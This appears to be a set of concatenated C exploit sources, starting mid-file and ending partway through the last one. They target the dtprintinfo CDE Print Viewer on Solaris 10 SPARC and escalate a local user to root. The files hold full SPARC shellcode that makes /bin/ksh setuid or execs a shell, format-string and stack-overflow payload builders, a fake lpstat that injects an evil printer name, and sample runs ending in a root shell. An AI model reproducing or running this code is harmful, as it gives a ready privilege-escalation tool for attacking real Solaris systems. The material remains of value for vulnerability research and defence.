"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
"\x20\xbf\xff\xff" /* bn,a <sc> */
"\x7f\xff\xff\xff" /* call <sc + 4> */
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* exit(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x01" /* mov 1, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
#endif /* USE_EXEC_SC */
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int get_env_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
char platform[256], release[256], display[256];
int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc;
int offset = OFFSET;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("sprintf");
int rwx_mem = search_rwx_mem() + 24; /* stable address */
int i, stackpops = STACKPOPS;
unsigned char b1, b2, b3, b4;
unsigned base, n[16]; /* must be unsigned */
/* lpstat code to add a fake printer */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for fnord: /dev/null\n");
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: fnord\n");
}
exit(0);
}
/* helper program that prints argv[0] address, used by get_env_addr() */
if (!strcmp(argv[0], "foo")) {
printf("0x%p\n", argv[0]);
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if ((argc < 2) || (argc > 4)) {
#ifdef USE_EXEC_SC
fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]);
#else
fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]);
#endif /* USE_EXEC_SC */
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
if (argc > 2)
retloc = (int)strtoul(argv[2], (char **)NULL, 0);
if (argc > 3)
offset = (int)strtoul(argv[3], (char **)NULL, 0);
/* calculate saved %i0 and %i7 locations based on retloc */
i0loc = retloc + offset;
i1loc = i0loc + 4;
i7loc = i0loc + 28;
/* evil env var: name + shellcode + padding */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
p += strlen("REQ_DIR=");
/* padding buffer to avoid stack overflow */
memset(buf2, 'B', sizeof(buf2));
buf2[sizeof(buf2) - 1] = 0x0;
/* fill the envp, keeping padding */
add_env(buf2);
add_env(buf);
add_env(display);
add_env("TMP_DIR=/tmp");
add_env("PATH=.:/usr/bin");
sc_addr = add_env("HOME=/tmp");
add_env(sc);
add_env(NULL);
/* calculate the needed addresses */
env_addr = get_env_addr(VULN, argv);
sc_addr += env_addr;
#ifdef USE_EXEC_SC
/* populate exec shellcode placeholder */
set_val(sc, 48, sb - 1024);
#endif /* USE_EXEC_SC */
/* format string: saved ret */
*((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */
memset(p, 'A', 4); p += 4; /* dummy */
/* format string: saved %i0: 1st arg to sprintf() */
*((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */
memset(p, 'A', 4); p += 4; /* dummy */
/* format string: saved %i7: return address */
*((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */
memset(p, 'A', 4); p += 4; /* dummy */
/* format string: saved %i1: 2nd arg to sprintf() */
*((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */
/* format string: stackpop sequence */
base = p - buf - strlen("REQ_DIR=");
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
/* calculate numeric arguments for retloc */
SPLITB(b1, b2, b3, b4, (ret - 4));
CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base);
/* calculate numeric arguments for i0loc */
SPLITB(b1, b2, b3, b4, rwx_mem);
CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base);
/* calculate numeric arguments for i7loc */
SPLITB(b1, b2, b3, b4, (rwx_mem - 8));
CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base);
/* calculate numeric arguments for i1loc */
SPLITB(b1, b2, b3, b4, sc_addr);
CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base);
/* check for potentially dangerous numeric arguments below 10 */
for (i = 0; i < 16; i++)
n[i] += (n[i] < 10) ? (0x100) : (0);
/* format string: write string */
sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]);
buf[strlen(buf)] = 'A'; /* preserve buf length */
/* we need at least one directory inside TMP_DIR to trigger the bug */
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc);
fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc);
fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc);
fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
/* check for null bytes (add some padding to env if needed) */
check_zero(retloc, "ret location");
check_zero(i0loc, "%%i0 location");
check_zero(i1loc, "%%i1 location");
check_zero(i7loc, "%%i7 location");
check_zero(rwx_mem, "rwx_mem address");
check_zero(sc_addr, "sc address");
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* get_env_addr(): get environment address using a helper program
*/
int get_env_addr(char *path, char **argv)
{
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char hex[11] = "\x00";
int fd[2], addr;
/* truncate program name at correct length and create a hard link */
prog[strlen(path)] = 0x0;
unlink(prog);
link(argv[0], prog);
/* open pipe to read program output */
if (pipe(fd) < 0) {
perror("pipe");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("fork");
exit(1);
case 0: /* child */
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror("execve");
exit(1);
default: /* parent */
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}
/* check and return address */
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, "error: cannot read ff address from helper program\n");
exit(1);
}
return addr + 4;
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "error: can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address null bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}

View file

@ -0,0 +1,309 @@
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 SPARC
/*
* raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* "You still haven't given up on me?" -- Bruce Wayne
* "Never!" -- Alfred Pennyworth
*
* I would like to thank ~A. for his incredible research work spanning decades,
* an endless source of inspiration for me.
*
* Whoah, this one wasn't easy! This is a pretty lean exploit now, but its
* development took me some time. It's been almost two weeks, and I came
* close to giving up a couple of times. Here's a summary of the main
* roadblocks and complications I ran into while porting my dtprintinfo
* format string exploit to SPARC:
*
* - Half word writes and similar techniques that need to print a large amount
* of chars are problematic, because we have both a format string bug and a
* stack-based buffer overflow, and we risk running out of stack space! We
* might be able to prevent this by increasing the size of the padding buffer,
* (buf2) but your mileage may vary.
*
* - I therefore opted for a more portable single-byte write, but SPARC is a
* RISC architecture and as such it's not happy with memory operations on
* misaligned addresses... So I had to figure out a possibly novel technique
* to prevent the dreaded Bus Error. It involves the %hhn format string, check
* it out!
*
* - Once I had my write-what primitive figured out, I needed to pick a suitable
* memory location to patch... and I almost ran out of options. Function
* activation records turned out to be cumbersome and unreliable (see my PoC
* raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary
* start with a null byte, and the usual OS function pointers that were
* popular targets 15 years ago are not present in modern Solaris 10 releases
* anymore. Finally, I noticed that the libc also contains .plt jump codes
* that get executed upon function calling. Since they don't start with a null
* byte, I decided to target them.
*
* - Instead of meddling with jump codes, to keep things simpler I decided to
* craft the shellcode directly in the .plt section of libc by exploiting the
* format string bug. This technique proved to be very effective, but
* empirical tests showed that (for unknown reasons) the shellcode size was
* limited to 36 bytes. It looks like there's a limit on the number of args,
* to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes
* are just enough to escalate privileges.
*
* After I plugged a small custom shellcode into my exploit, it worked like a
* charm. Simple, isn't it?;)
*
* To get the libc base, use pmap on the dtprintinfo process, e.g.:
* $ pmap 4190 | grep libc.so.1 | grep r-x
* FE800000 1224K r-x-- /lib/libc.so.1
*
* To grab the offset to strlen in .plt, you can use objdump as follows:
* $ objdump -R /usr/lib/libc.so.1 | grep strlen
* 0014369c R_SPARC_JMP_SLOT strlen
*
* This bug was likely fixed during the general cleanup of CDE code done by
* Oracle in response to my recently reported vulnerabilities. However, I can't
* confirm this because I have no access to their patches:/
*
* See also:
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
* raptor_dtprintcheckdir_intel2.c
* raptor_dtprintcheckdir_sparc.c (just a proof of concept)
*
* Usage:
* $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0
* raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10)
* Using libc/.plt/strlen : 0xfe94369c
*
* Don't worry if you get a SIGILL, just run /bin/ksh anyway!
*
* lpstat called with -v
* lpstat called with -v
* lpstat called with -d
* [on your xserver: double click on the fake "fnord" printer]
* Illegal Instruction
* $ ls -l /bin/ksh
* -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
* $ ksh
* # id
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
* #
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE"
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
#define BUFSIZE 3000 // size of evil env var
#define BUFSIZE2 10000 // size of padding buf
#define STACKPOPSEQ "%.8x" // stackpop sequence
#define STACKPOPS 383 // number of stackpops
/* default retloc is .plt/strlen in libc */
#define LIBCBASE 0xfe800000 // base address of libc
#define STRLEN 0x0014369c // .plt/strlen offset
/* calculate numeric arguments for write string */
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
N1 = (B4 - BASE) % 0x100; \
N2 = (B2 - BASE - N1) % 0x100; \
N3 = (B1 - BASE - N1 - N2) % 0x100; \
N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
BASE += N1 + N2 + N3 + N4; \
}
char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */
/* chmod("./me", 037777777777) */
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
"\x20\xbf\xff\xff" /* bn,a <sc> */
"\x7f\xff\xff\xff" /* call <sc + 4> */
"\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */
"\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"./me";
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
char platform[256], release[256], display[256];
int retloc = LIBCBASE + STRLEN;
int i, stackpops = STACKPOPS;
unsigned base, n[strlen(sc)]; /* must be unsigned */
/* lpstat code to add a fake printer */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for fnord: /dev/null\n");
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: fnord\n");
}
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if (argc < 2) {
fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
if (argc > 2)
retloc = (int)strtoul(argv[2], (char **)NULL, 0);
/* evil env var: name + shellcode + padding */
bzero(buf, sizeof(buf));
memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
p += strlen("REQ_DIR=");
/* padding buffer to avoid stack overflow */
memset(buf2, 'B', sizeof(buf2));
buf2[sizeof(buf2) - 1] = 0x0;
/* fill the envp, keeping padding */
add_env(buf2);
add_env(buf);
add_env(display);
add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* format string: retloc */
for (i = retloc; i - retloc < strlen(sc); i += 4) {
check_zero(i, "ret location");
*((void **)p) = (void *)(i); p += 4; /* 0x000000ff */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i); p += 4; /* 0xff000000 */
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */
memset(p, 'A', 4); p += 4; /* dummy */
}
/* format string: stackpop sequence */
base = p - buf - strlen("REQ_DIR=");
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
/* calculate numeric arguments */
for (i = 0; i < strlen(sc); i += 4)
CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base);
/* check for potentially dangerous numeric arguments below 10 */
for (i = 0; i < strlen(sc); i++)
n[i] += (n[i] < 10) ? (0x100) : (0);
/* format string: write string */
for (i = 0; i < strlen(sc); i += 4)
p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]);
/* setup the directory structure and the symlink to /bin/ksh */
unlink("/tmp/just/chmod/me");
rmdir("/tmp/just/chmod");
rmdir("/tmp/just");
mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO);
mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO);
symlink("/bin/ksh", "/tmp/just/chmod/me");
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc);
fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n");
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
exit(1);
}
}

View file

@ -0,0 +1,437 @@
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 SPARC
/*
* raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC
* Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. Many thanks to Dave Aitel for discovering this vulnerability
* and for his interesting research activities on Solaris/SPARC.
*
* "None of my dtprintinfo work is public, other than that 0day pack being
* leaked to all hell and back. It should all basically still work. Let's
* keep it that way, cool? :>" -- Dave Aitel
*
* This is a revised version of my original exploit that should work on
* modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain
* the needed addresses that's hopefully universal (goodbye VOODOO macros!).
* and I had to work around some annoying crashes, which led me to write
* a custom shellcode that makes /bin/ksh setuid. Crude but effective;)
* If you feel brave, you can also try my experimental exec shellcode, for
* SPARC V8 plus and above architectures only ("It works on my computer!").
*
* I'm developing my exploits on a Solaris 10 Branded Zone and I strongly
* suspect this is the reason for the weird behavior in the execution of
* standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1,
* in the strncmp() function called by brand_uucopystr(). If that's indeed
* the case, any shellcode (including lsd-pl.net's classic shellcode) should
* work on physical systems and I just spent a non-neglibible amount of time
* debugging this for no valid reason but my love of hacking... Oh well!
*
* Usage:
* $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintname_sparc3 10.0.0.122:0
* [...]
* $ ls -l /bin/ksh
* -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
* $ /bin/ksh
* # id
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
* #
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13)
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC"
#define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 301 // size of the printer name
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
//#define USE_EXEC_SC // uncomment to use exec shellcode
#ifdef USE_EXEC_SC
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* execve("/bin/ksh", argv, NULL) */
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
"\x41\x41\x41\x41" /* placeholder */
"/bin/ksh";
#else
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* chmod("/bin/ksh", 037777777777) */
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
"\x20\xbf\xff\xff" /* bn,a <sc> */
"\x7f\xff\xff\xff" /* call <sc + 4> */
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* exit(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x01" /* mov 1, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
#endif /* USE_EXEC_SC */
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int get_ff_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
char platform[256], release[256], display[256];
int i, ff_addr, sc_addr, ret_pos, fpt_pos;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("sprintf");
int rwx_mem = search_rwx_mem() + 24; /* stable address */
/* fake lpstat code */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* get ret and fake frame addresses from environment */
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
/* prepare the evil printer name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
/* fill with return and fake frame addresses */
for (i = 0; i < BUFSIZE; i += 4) {
/* apparently, we don't need to bruteforce */
set_val(buf, i, ret - 4);
set_val(buf, i += 4, ff_addr);
}
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}
/* helper program that prints argv[0] address, used by get_ff_addr() */
if (!strcmp(argv[0], "foo")) {
printf("0x%p\n", argv[0]);
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if (argc != 2) {
#ifdef USE_EXEC_SC
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
#else
fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]);
#endif /* USE_EXEC_SC */
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* prepare the fake frame */
bzero(ff, sizeof(ff));
for (i = 0; i < 64; i += 4) {
set_val(ff, i, DUMMY);
}
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
add_env(sc);
ret_pos = env_pos;
add_env("RET=0x41414141"); /* placeholder */
fpt_pos = env_pos;
add_env("FPT=0x42424242"); /* placeholder */
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* calculate the needed addresses */
ff_addr = get_ff_addr(VULN, argv);
sc_addr += ff_addr;
/*
* populate saved %l registers
*/
set_val(ff, i = 0, ff_addr + 56); /* %l0 */
set_val(ff, i += 4, ff_addr + 56); /* %l1 */
set_val(ff, i += 4, ff_addr + 56); /* %l2 */
set_val(ff, i += 4, ff_addr + 56); /* %l3 */
set_val(ff, i += 4, ff_addr + 56); /* %l4 */
set_val(ff, i += 4, ff_addr + 56); /* %l5 */
set_val(ff, i += 4, ff_addr + 56); /* %l6 */
set_val(ff, i += 4, ff_addr + 56); /* %l7 */
/*
* populate saved %i registers
*/
